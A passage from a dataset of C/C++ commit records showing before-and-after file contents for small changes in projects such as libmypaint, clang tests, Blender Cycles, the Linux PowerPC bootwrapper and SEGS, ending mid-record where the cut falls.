{"commit":"81de6e841c6775e619b94c12be49969be9d68968","old_file":"libmypaint.c","new_file":"libmypaint.c","old_contents":"\/* Include this file in your project\n * if you don't want to build libmypaint as a separate library\n * Note that still need to do -I.\/path\/to\/libmypaint\/sources\n * for the includes here to succeed. *\/\n\n#include \"mapping.c\"\n#include \"helpers.c\"\n#include \"brushmodes.c\"\n#include \"fifo.c\"\n#include \"operationqueue.c\"\n#include \"rng-double.c\"\n#include \"utils.c\"\n#include \"tilemap.c\"\n\n#include \"mypaint.c\"\n#include \"mypaint-brush.c\"\n#include \"mypaint-brush-settings.c\"\n#include \"mypaint-fixed-tiled-surface.c\"\n#include \"mypaint-surface.c\"\n#include \"mypaint-tiled-surface.c\"\n#include \"mypaint-rectangle.c\"\n","new_contents":"\/* Include this file in your project\n * if you don't want to build libmypaint as a separate library\n * Note that still need to do -I.\/path\/to\/libmypaint\/sources\n * for the includes here to succeed. *\/\n\n#include \"helpers.c\"\n#include \"brushmodes.c\"\n#include \"fifo.c\"\n#include \"operationqueue.c\"\n#include \"rng-double.c\"\n#include \"utils.c\"\n#include \"tilemap.c\"\n\n#include \"mypaint.c\"\n#include \"mypaint-brush.c\"\n#include \"mypaint-brush-settings.c\"\n#include \"mypaint-fixed-tiled-surface.c\"\n#include \"mypaint-surface.c\"\n#include \"mypaint-tiled-surface.c\"\n#include \"mypaint-rectangle.c\"\n#include \"mypaint-mapping.c\"\n","subject":"Remove a lingering ref to mapping.c","message":"Remove a lingering ref to mapping.c\n","lang":"C","license":"isc","repos":"achadwick\/libmypaint,achadwick\/libmypaint,achadwick\/libmypaint,achadwick\/libmypaint"}
{"commit":"20f0178a232029bea7f34adecb6e5bdd6fada483","old_file":"test\/Analysis\/outofbound.c","new_file":"test\/Analysis\/outofbound.c","old_contents":"","new_contents":"\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nchar f1() {\n  char* s = \"abcd\";\n  return s[4]; \/\/ expected-warning{{Load or store into an out-of-bound memory position.}}\n}\n","subject":"Add test case for out-of-bound memory access checking.","message":"Add test case for out-of-bound memory access checking.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59931 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"e2463c6289e8b0821b2c76f010c922c58dd76aa0","old_file":"polygonmain.c","new_file":"polygonmain.c","old_contents":"","new_contents":"#include <polygon.h>\n\n\nint main(int argc, char* argv[]) {\n\n\tPolygon lol;\n\tlol=createPolygon();\n\tprintf(\"\\n\\nx premier point : %f\", lol->value.x);\n\tprintf(\"\\ny premier point : %f\\n\\n\", lol->value.y);\n\treturn EXIT_SUCCESS;\n\n}\n\n","subject":"Create the main program with print the coordinates of the first point of a newly generated polygon","message":"Create the main program with print the coordinates of the first point of a newly generated polygon\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"4720a44172fff28774ded70c15f1df66a43b8b44","old_file":"src\/util\/util_version.h","new_file":"src\/util\/util_version.h","old_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 12\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","new_contents":"\/*\n * Copyright 2011-2016 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_VERSION_H__\n#define __UTIL_VERSION_H__\n\n\/* Cycles version number *\/\n\nCCL_NAMESPACE_BEGIN\n\n#define CYCLES_VERSION_MAJOR 1\n#define CYCLES_VERSION_MINOR 13\n#define CYCLES_VERSION_PATCH 0\n\n#define CYCLES_MAKE_VERSION_STRING2(a, b, c) #a \".\" #b \".\" #c\n#define CYCLES_MAKE_VERSION_STRING(a, b, c) CYCLES_MAKE_VERSION_STRING2(a, b, c)\n#define CYCLES_VERSION_STRING \\\n  CYCLES_MAKE_VERSION_STRING(CYCLES_VERSION_MAJOR, CYCLES_VERSION_MINOR, CYCLES_VERSION_PATCH)\n\nCCL_NAMESPACE_END\n\n#endif \/* __UTIL_VERSION_H__ *\/\n","subject":"Bump version to 1.13, matching blender 2.90 release cycle","message":"Bump version to 1.13, matching blender 2.90 release cycle\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird"}
{"commit":"96c9be5cd8c08e270a848b36f010a266ecb56931","old_file":"menpo\/feature\/cpp\/WindowFeature.h","new_file":"menpo\/feature\/cpp\/WindowFeature.h","old_contents":"#pragma once\n\n#if _MSC_VER < 1900\n    #define round(x) (x >= 0 ? (x + 0.5) : (x - 0.5))\n#endif\n\nclass WindowFeature {\npublic:\n\tWindowFeature();\n\tvirtual ~WindowFeature();\n\tvirtual void apply(double *windowImage, double *descriptorVector) = 0;\n\tunsigned int descriptorLengthPerWindow;\n};\n","new_contents":"#pragma once\n\n#if defined(_MSC_VER) && _MSC_VER < 1900\n    #define round(x) (x >= 0 ? (x + 0.5) : (x - 0.5))\n#endif\n\nclass WindowFeature {\npublic:\n\tWindowFeature();\n\tvirtual ~WindowFeature();\n\tvirtual void apply(double *windowImage, double *descriptorVector) = 0;\n\tunsigned int descriptorLengthPerWindow;\n};\n","subject":"Check _MSC_VER is defined and less than 1900","message":"Check _MSC_VER is defined and less than 1900\n","lang":"C","license":"bsd-3-clause","repos":"grigorisg9gr\/menpo,menpo\/menpo,menpo\/menpo,grigorisg9gr\/menpo,grigorisg9gr\/menpo,menpo\/menpo,patricksnape\/menpo,yuxiang-zhou\/menpo,patricksnape\/menpo,yuxiang-zhou\/menpo,patricksnape\/menpo,yuxiang-zhou\/menpo"}
{"commit":"995d9a599905dfbb059b7c5d3ba8b0af240e42d5","old_file":"021.calling_c\/c_code.c","new_file":"021.calling_c\/c_code.c","old_contents":"typedef union {\n  unsigned char* ptr;\n  unsigned short word[2];\n} word_extract_t;\n\nvoid \nPokeBitplanePointers(unsigned short* copper, unsigned char* bitplanes, unsigned offset, unsigned numBitplanes, unsigned screenWidthBytes)\n{\n  int i;\n  copper += offset;\n\n  for (i = 0; i < numBitplanes; i++) {\n    word_extract_t extract;\n    extract.ptr = bitplanes;\n    *(copper+1) = extract.word[1];\n    *(copper+3) = extract.word[0];\n    bitplanes += screenWidthBytes;\n    copper += 4;\n  } \n}\n\nstatic unsigned short _copperData;\nstatic unsigned char _bitplaneData;\n\nvoid\nTestCall()\n{\n  PokeBitplanePointers(&_copperData, &_bitplaneData, 3, 4, 5);\n}\n","new_contents":"typedef union {\n  unsigned char* ptr;\n  struct {\n    unsigned short hi;\n    unsigned short lo;\n  } words;\n} word_extract_t;\n\nvoid \nPokeBitplanePointers(unsigned short* copper, unsigned char* bitplanes, unsigned offset, unsigned numBitplanes, unsigned screenWidthBytes)\n{\n  int i;\n  copper += offset;\n\n  for (i = 0; i < numBitplanes; i++) {\n    word_extract_t extract;\n    extract.ptr = bitplanes;\n    *(copper+1) = extract.words.lo;\n    *(copper+3) = extract.words.hi;\n    bitplanes += screenWidthBytes;\n    copper += 4;\n  } \n}\n\nstatic unsigned short _copperData;\nstatic unsigned char _bitplaneData;\n\nvoid\nTestCall()\n{\n  PokeBitplanePointers(&_copperData, &_bitplaneData, 3, 4, 5);\n}\n","subject":"Make C example more C, less asm","message":"Make C example more C, less asm\n","lang":"C","license":"bsd-2-clause","repos":"alpine9000\/amiga_examples,alpine9000\/amiga_examples,alpine9000\/amiga_examples"}
{"commit":"ee41eea947ebe2f1f627fafe0e429b5dcaaab944","old_file":"arch\/powerpc\/boot\/reg.h","new_file":"arch\/powerpc\/boot\/reg.h","old_contents":"#ifndef _PPC_BOOT_REG_H\n#define _PPC_BOOT_REG_H\n\/*\n * Copyright 2007 Davud Gibson, IBM Corporation.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nstatic inline u32 mfpvr(void)\n{\n\tu32 pvr;\n\tasm volatile (\"mfpvr\t%0\" : \"=r\"(pvr));\n\treturn pvr;\n}\n\nregister void *__stack_pointer asm(\"r1\");\n#define get_sp()\t(__stack_pointer)\n\n#endif\t\/* _PPC_BOOT_REG_H *\/\n","new_contents":"#ifndef _PPC_BOOT_REG_H\n#define _PPC_BOOT_REG_H\n\/*\n * Copyright 2007 Davud Gibson, IBM Corporation.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nstatic inline u32 mfpvr(void)\n{\n\tu32 pvr;\n\tasm volatile (\"mfpvr\t%0\" : \"=r\"(pvr));\n\treturn pvr;\n}\n\n#define __stringify_1(x)\t#x\n#define __stringify(x)\t\t__stringify_1(x)\n\n#define mfspr(rn)\t({unsigned long rval; \\\n\t\t\tasm volatile(\"mfspr %0,\" __stringify(rn) \\\n\t\t\t\t: \"=r\" (rval)); rval; })\n#define mtspr(rn, v)\tasm volatile(\"mtspr \" __stringify(rn) \",%0\" : : \"r\" (v))\n\nregister void *__stack_pointer asm(\"r1\");\n#define get_sp()\t(__stack_pointer)\n\n#endif\t\/* _PPC_BOOT_REG_H *\/\n","subject":"Add mfspr\/mtspr inline macros to 4xx bootwrapper","message":"[POWERPC] 4xx: Add mfspr\/mtspr inline macros to 4xx bootwrapper\n\nThe 4xx bootwrapper occasionally needs to access SPR registers,\nthis adds mfspr\/mtspr wrappers to it.\n\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\nSigned-off-by: Josh Boyer <94755a79aca753e683bb6d0e796d473b797056eb@linux.vnet.ibm.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"08c3a7a1490994541c1771fc5b1e968f040277ab","old_file":"src\/error.c","new_file":"src\/error.c","old_contents":"#include <errno.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"error.h\"\n\nstatic char *pname;\n\nvoid\nsetpname(char *name)\n{\n\tpname = name;\n}\n\nchar *\ngetpname(void)\n{\n\treturn pname;\n}\n\nstatic inline\nvoid\nvwarn(const char *fmt, va_list al)\n{\n\tfflush(NULL);\n\tif (pname != NULL)\n\t\tfprintf(stderr, \"%s: \", pname);\n\tvfprintf(stderr, fmt, al);\n\tif (fmt[0] != '\\0' && fmt[strlen(fmt) - 1] == ':')\n\t\tfprintf(stderr, \" %s\", strerror(errno));\n\tfprintf(stderr, \"\\n\");\n}\n\nvoid\nwarn(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n}\n\nvoid\ndie(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n\n\texit(0);\n}\n\nvoid\npanic(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n\n\tabort();\n}\n","new_contents":"#include <errno.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"error.h\"\n\nstatic char *pname;\n\nvoid\nsetpname(char *name)\n{\n\tpname = name;\n}\n\nchar *\ngetpname(void)\n{\n\treturn pname;\n}\n\nstatic inline\nvoid\nvwarn(const char *fmt, va_list al)\n{\n\tfflush(NULL);\n\tif (pname != NULL)\n\t\tfprintf(stderr, \"%s: \", pname);\n\tvfprintf(stderr, fmt, al);\n\tif (fmt[0] != '\\0' && fmt[strlen(fmt) - 1] == ':')\n\t\tfprintf(stderr, \" %s\", strerror(errno));\n\tfprintf(stderr, \"\\n\");\n}\n\nvoid\nwarn(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n}\n\nvoid\ndie(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n\n\texit(2);\n}\n\nvoid\npanic(const char *fmt, ...)\n{\n\tva_list al;\n\n\tva_start(al, fmt);\n\tvwarn(fmt, al);\n\tva_end(al);\n\n\tabort();\n}\n","subject":"Change function die to exit with status 2 instead of 0","message":"Change function die to exit with status 2 instead of 0\n","lang":"C","license":"isc","repos":"flimberger\/qsmerge,flimberger\/qsmerge"}
{"commit":"6fbbd5dad25f58fc79c7e9b42528e3f21ebe6ba8","old_file":"include\/kbd.h","new_file":"include\/kbd.h","old_contents":"#ifndef H_KBD\n#define H_KBD\n\n#include <stddef.h>\n#include <stdbool.h>\n\nstruct keyevent {\n  int keycode;\n  char character;\n  bool release;\n  bool shift;\n  bool ctrl;\n} keybuffer[128];\n\nvoid kbdinit();\nbool kbdavail();\nstruct keyevent* kbdpoll();\n\nvoid kbdregsig(bool* b);\nvoid kbdunregsig(bool* b);\n\n#endif\n","new_contents":"#ifndef H_KBD\n#define H_KBD\n\n#include <stddef.h>\n#include <stdbool.h>\n\nstruct keyevent {\n  int keycode;\n  char character;\n  bool release;\n  bool shift;\n  bool ctrl;\n} keybuffer[256];\n\nvoid kbdinit();\nbool kbdavail();\nstruct keyevent* kbdpoll();\n\nvoid kbdregsig(bool* b);\nvoid kbdunregsig(bool* b);\n\n#endif\n","subject":"Raise keyboard event stack size to 256","message":"Raise keyboard event stack size to 256\n","lang":"C","license":"bsd-2-clause","repos":"Easimer\/easios,Easimer\/easios,Easimer\/easios"}
{"commit":"711ac30abb29d7209f685227f3a1f978a0d01390","old_file":"IAAI.c","new_file":"IAAI.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n  system(\"\/bin\/stty raw\");\n\n  int i = 0;\n  char str[] = \"I AM AN IDIOT \";\n\n  while(1){\n    for(i = 0; i<14; i++) {\n      getchar();\n      printf(\"\\b%c\", str[i]);\n    }\n    system(\"\/bin\/stty cooked\");\n    printf(\"\\n\");\n    system(\"\/bin\/stty raw\");\n  }\n\t\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nint main() {\n  system(RAW);\n\n  int i = 0;\n  char str[] = \"I AM AN IDIOT \";\n\n  while(1){\n    for(i = 0; i<14; i++) {\n      getchar();\n      printf(\"\\b%c\", str[i]);\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\t\n  return 0;\n}\n","subject":"Make it easier to change stty constant if needed","message":"Make it easier to change stty constant if needed\n","lang":"C","license":"mit","repos":"vinamarora8\/IAAI"}
{"commit":"216591596dfbb35c79674c18d0c6f28e1e040857","old_file":"src\/mb.h","new_file":"src\/mb.h","old_contents":"\/*\n * mb.h - publicly accessible entry points for the memory buffer\n *\/\n#ifndef _MB_H_\n#define _MB_H_\n\n#include \"tuple.h\"\n#include \"table.h\"\n#include \"timestamp.h\"\n\nvoid mb_init();\n\nint mb_insert(unsigned char *buf, long len, Table *table);\n\ntstamp_t mb_insert_tuple(int ncols, char *vals[], Table *table);\n\ntstamp_t heap_insert_tuple(int ncols, char *vals[], Table *table, Node *n);\nNode *heap_alloc_node(int ncols, char *vals[], Table *table);\nvoid heap_remove_node(Node *n, Table *tn);\nvoid mb_dump();\n\n#endif \/* _MB_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * mb.h - publicly accessible entry points for the memory buffer\n *\/\n#ifndef _MB_H_\n#define _MB_H_\n\n#include \"tuple.h\"\n#include \"table.h\"\n#include \"timestamp.h\"\n\nvoid mb_init();\n\nint mb_insert(unsigned char *buf, long len, Table *table);\n\ntstamp_t mb_insert_tuple(int ncols, char *vals[], Table *table);\n\ntstamp_t heap_insert_tuple(int ncols, char *vals[], Table *table, Node *n);\nNode *heap_alloc_node(int ncols, char *vals[], Table *table);\nvoid heap_remove_node(Node *n, Table *tn);\nvoid mb_dump();\n\n#endif \/* _MB_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"jsventek\/Cache,fergul\/Cache,jsventek\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache"}
{"commit":"fa1d808ecb2f1ec49f77f8eeecdda83c3d8eae76","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"","new_contents":"#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n\nint main()\n{\n\tstruct sockaddr_in serv_addr;\n\tmemset(&serv_addr, 0, sizeof(serv_addr));\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\n\tserv_addr.sin_port = htons(7899);\n\n\tint fd = socket(AF_INET, SOCK_STREAM, 0);\n\n\tif (connect(fd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {\n\t\tfprintf(stderr, \"Failed to connect with server\\n\");\n\t\treturn EXIT_FAILURE;\n\t}\n\n\tchar buffer[1000];\n\tchar *write_ptr = buffer;\n\n\tconst char *msg = \"Hello World!\";\n\tuint32_t len = strlen(msg);\n\tlen = htobe32(len);\n\tmemcpy(write_ptr, &len, sizeof(len));\n\twrite_ptr += sizeof(len);\n\tmemcpy(write_ptr, msg, strlen(msg));\n\twrite_ptr += strlen(msg);\n\tmemcpy(write_ptr, &len, sizeof(len));\n\twrite_ptr += sizeof(len);\n\tmemcpy(write_ptr, msg, strlen(msg));\n\twrite_ptr += strlen(msg);\n\n\twrite(fd, buffer, write_ptr - buffer);\n\tclose(fd);\n\treturn EXIT_SUCCESS;\n}\n","subject":"Add some basic test for message handling.","message":"Add some basic test for message handling.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"43d84dfbfe362574f4c289da1103232769b77a89","old_file":"MWEditorAddOns\/MTextAddOn.h","new_file":"MWEditorAddOns\/MTextAddOn.h","old_contents":"","new_contents":"\/\/==================================================================\n\/\/\tMTextAddOn.h\n\/\/\tCopyright 1996  Metrowerks Corporation, All Rights Reserved.\n\/\/==================================================================\n\/\/\tThis is a proxy class used by Editor add_ons.  It does not inherit from BView\n\/\/\tbut provides an abstract interface to a text engine.\n \n#ifndef _MTEXTADDON_H\n#define _MTEXTADDON_H\n\n#include <SupportKit.h>\n\nclass MIDETextView;\nclass BWindow;\nstruct entry_ref;\n\n\nclass MTextAddOn\n{\npublic:\n\t\t\t\t\t\t\t\tMTextAddOn(\n\t\t\t\t\t\t\t\t\tMIDETextView&\tinTextView);\n\tvirtual\t\t\t\t\t\t~MTextAddOn();\n\tvirtual\tconst char*\t\t\tText();\n\tvirtual\tint32\t\t\t\tTextLength() const;\n\tvirtual\tvoid\t\t\t\tGetSelection(\n\t\t\t\t\t\t\t\t\tint32 *start, \n\t\t\t\t\t\t\t\t\tint32 *end) const;\n\tvirtual\tvoid\t\t\t\tSelect(\n\t\t\t\t\t\t\t\t\tint32 newStart, \n\t\t\t\t\t\t\t\t\tint32 newEnd);\n\tvirtual void\t\t\t\tDelete();\n\tvirtual void\t\t\t\tInsert(\n\t\t\t\t\t\t\t\t\tconst char* inText);\n\tvirtual void\t\t\t\tInsert(\n\t\t\t\t\t\t\t\t\tconst char* text, \n\t\t\t\t\t\t\t\t\tint32 length);\n\n\tvirtual\tBWindow*\t\t\tWindow();\n\tvirtual status_t\t\t\tGetRef(\n\t\t\t\t\t\t\t\t\tentry_ref&\toutRef);\n\tvirtual bool\t\t\t\tIsEditable();\n\t\nprivate:\n\n\tMIDETextView&\t\t\t\tfText;\n};\n\n#endif\n","subject":"Add BeIDE header required for building","message":"Add BeIDE header required for building\n\nCopyright 1996  Metrowerks Corporation, All Rights Reserved.\n","lang":"C","license":"mit","repos":"mmuman\/dontworry,mmuman\/dontworry"}
{"commit":"ea0ae0b3bb59a3687947d45816c3005f7f60eab6","old_file":"include\/version.h","new_file":"include\/version.h","old_contents":"\/*\n* Super Entity Game Server\n* http:\/\/segs.sf.net\/\n* Copyright (c) 2006 Super Entity Game Server Team (see AUTHORS.md)\n* This software is licensed under the terms of the 3-clause BSD License. See LICENSE.md for details.\n*\n*\/\n\n#define VersionString \"segs v0.5.0 (The Unsilencer)\";\n#define CopyrightString \"Super Entity Game Server\\nhttp:\/\/github.com\/Segs\/\\nCopyright (c) 2006-2018 Super Entity Game Server Team (see AUTHORS.md)\\nThis software is licensed under the terms of the 3-clause BSD License. See LICENSE.md for details.\\n\";\n\/\/const char *AdminVersionString=\"Undefined\";\n\/\/const char *AuthVersionString=\"Undefined\";\n\/\/const char *GameVersionString=\"Undefined\";\n\/\/const char *MapVersionString=\"Undefined\";\n\n\/\/ Contains version information for the various server modules\nclass VersionInfo\n{\npublic:\n    static const char *getAdminVersion(void);\n    static const char *getAuthVersion(void)\n{\n        return VersionString;\n}\n\n    static const char *getGameVersion(void);\n    static const char *getMapVersion(void);\n    static const char *getCopyright(void)\n{\n        return CopyrightString;\n}\n};\n\n#undef VersionString\n#undef CopyrightString\n\n","new_contents":"\/*\n* Super Entity Game Server\n* http:\/\/segs.sf.net\/\n* Copyright (c) 2006 Super Entity Game Server Team (see AUTHORS.md)\n* This software is licensed under the terms of the 3-clause BSD License. See LICENSE.md for details.\n*\n*\/\n\n#define ProjectName \"SEGS\"\n#define VersionNumber \"0.5.0\"\n#define VersionName \"The Unsilencer\"\n#define VersionString ProjectName \" v\" VersionNumber \" (\" VersionName \")\"\n#define CopyrightString \"Super Entity Game Server\\nhttp:\/\/github.com\/Segs\/\\nCopyright (c) 2006-2018 Super Entity Game Server Team (see AUTHORS.md)\\nThis software is licensed under the terms of the 3-clause BSD License. See LICENSE.md for details.\\n\";\n\/\/const char *AdminVersionString=\"Undefined\";\n\/\/const char *AuthVersionString=\"Undefined\";\n\/\/const char *GameVersionString=\"Undefined\";\n\/\/const char *MapVersionString=\"Undefined\";\n\n\/\/ Contains version information for the various server modules\nclass VersionInfo\n{\npublic:\n    static const char *getAdminVersion(void);\n    static const char *getAuthVersion(void)\n{\n        return VersionString;\n}\n    static const char *getAuthVersionNumber(void)\n{\n        return VersionNumber;\n}\n    static const char *getGameVersion(void);\n    static const char *getMapVersion(void);\n    static const char *getCopyright(void)\n{\n        return CopyrightString;\n}\n};\n\n#undef ProjectName\n#undef VersionName\n#undef VersionNumber\n#undef VersionString\n#undef CopyrightString\n\n","subject":"Split up VersionString, will be useful for WebUI","message":"Split up VersionString, will be useful for WebUI\n","lang":"C","license":"bsd-3-clause","repos":"nemerle\/Segs,Segs\/Segs,Segs\/Segs,Segs\/Segs,nemerle\/Segs,broxen\/Segs,nemerle\/Segs,broxen\/Segs,nemerle\/Segs,Segs\/Segs,broxen\/Segs,broxen\/Segs,broxen\/Segs,nemerle\/Segs,broxen\/Segs,nemerle\/Segs,nemerle\/Segs,broxen\/Segs,Segs\/Segs,Segs\/Segs,Segs\/Segs"}
{"commit":"8c89257b9b7b58dbdeb977295e95863793877b70","old_file":"cpp\/exit_status.h","new_file":"cpp\/exit_status.h","old_contents":"#ifndef BIOTOOL_EXIT_STATUS_H\n#define BIOTOOL_EXIT_STATUS_H\ntypedef enum {Success=0, Error_command_line=1, Error_open_file=2, Error_parse_file=3} exit_status;\n#endif\n","new_contents":"#ifndef BIOTOOL_EXIT_STATUS_H\n#define BIOTOOL_EXIT_STATUS_H\ntypedef enum {Success=0, Error_open_file=1, Error_command_line=2, Error_parse_file=3} exit_status;\n#endif\n","subject":"Correct c++ exit status values","message":"Correct c++ exit status values\n","lang":"C","license":"mit","repos":"bjpop\/biotool,bjpop\/biotool,drpowell\/biotool,bjpop\/biotool,supernifty\/biotool,bjpop\/biotool,bjpop\/biotool,drpowell\/biotool,biotool-paper\/biotool,lonsbio\/biotool,lonsbio\/biotool,biotool-paper\/biotool,bjpop\/biotool,supernifty\/biotool,drpowell\/biotool,biotool-paper\/biotool,drpowell\/biotool,lonsbio\/biotool,biotool-paper\/biotool,supernifty\/biotool,biotool-paper\/biotool,bjpop\/biotool,supernifty\/biotool,bjpop\/biotool,drpowell\/biotool,bjpop\/biotool,drpowell\/biotool,biotool-paper\/biotool,supernifty\/biotool,drpowell\/biotool,bionitio-team\/bionitio,biotool-paper\/biotool,biotool-paper\/biotool,biotool-paper\/biotool,drpowell\/biotool,supernifty\/biotool,supernifty\/biotool,supernifty\/biotool,bjpop\/biotool,supernifty\/biotool,drpowell\/biotool,biotool-paper\/biotool,supernifty\/biotool,lonsbio\/biotool,drpowell\/biotool"}
{"commit":"8a868d3f7c3c7fa91b7439607adc7a21207f88cd","old_file":"test\/CodeGen\/debug-dead-local-var.c","new_file":"test\/CodeGen\/debug-dead-local-var.c","old_contents":"\/\/ FIXME: Check IR rather than asm, then triple is not needed.\n\/\/ RUN: %clang_cc1 -mllvm -asm-verbose -triple %itanium_abi_triple -S -O2 -g %s -o - | FileCheck %s\n\/\/ Radar 8122864\n\n\/\/ Code is not generated for function foo, but preserve type information of\n\/\/ local variable xyz.\nstatic void foo() {\n\/\/ CHECK: DW_TAG_structure_type \n  struct X { int a; int b; } xyz;\n}\n\nint bar() {\n  foo();\n  return 1;\n}\n","new_contents":"\/\/ FIXME: Check IR rather than asm, then triple is not needed.\n\/\/ RUN: %clang_cc1 -triple %itanium_abi_triple -O2 -g -emit-llvm %s -o - | FileCheck %s\n\/\/ Radar 8122864\n\n\/\/ Code is not generated for function foo, but preserve type information of\n\/\/ local variable xyz.\nstatic void foo() 